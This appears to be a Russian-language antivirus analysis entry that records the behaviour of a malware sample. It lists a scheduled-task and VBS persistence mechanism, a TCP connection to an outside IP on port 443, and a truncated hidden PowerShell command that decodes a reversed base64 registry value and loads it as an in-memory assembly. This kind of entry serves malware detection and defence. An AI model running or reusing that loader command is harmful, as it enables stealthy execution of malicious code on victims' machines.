Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\rxurlmrxudoisws
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\rxurlmrxudoisws.vbs
Сетевая активность
TCP
Другие
- '34.##9.100.209':443
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "%APPDATA%\RxuRlMrxUDOIsws.VBS"
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command $k='HKCU:\Software\RxuRlMrxUDOIsws';$n='test';$b=[Convert]::FromBase64String((-join((gp $k).$n |%{$_[-1..-($_.Length)]})));[AppDomain]::CurrentDomain.Load($b);[hem.... (со скрытым окном)
- '<SYSTEM32>\taskeng.exe' {EB2D6CC2-DB39-406C-B2CA-840E5FDF9B4F} S-1-5-21-3691498038-2086406363-2140527554-1000:xlexwilin\user:Interactive:[1]
- '<SYSTEM32>\wscript.exe' "%APPDATA%\RxuRlMrxUDOIsws.VBS" (со скрытым окном)
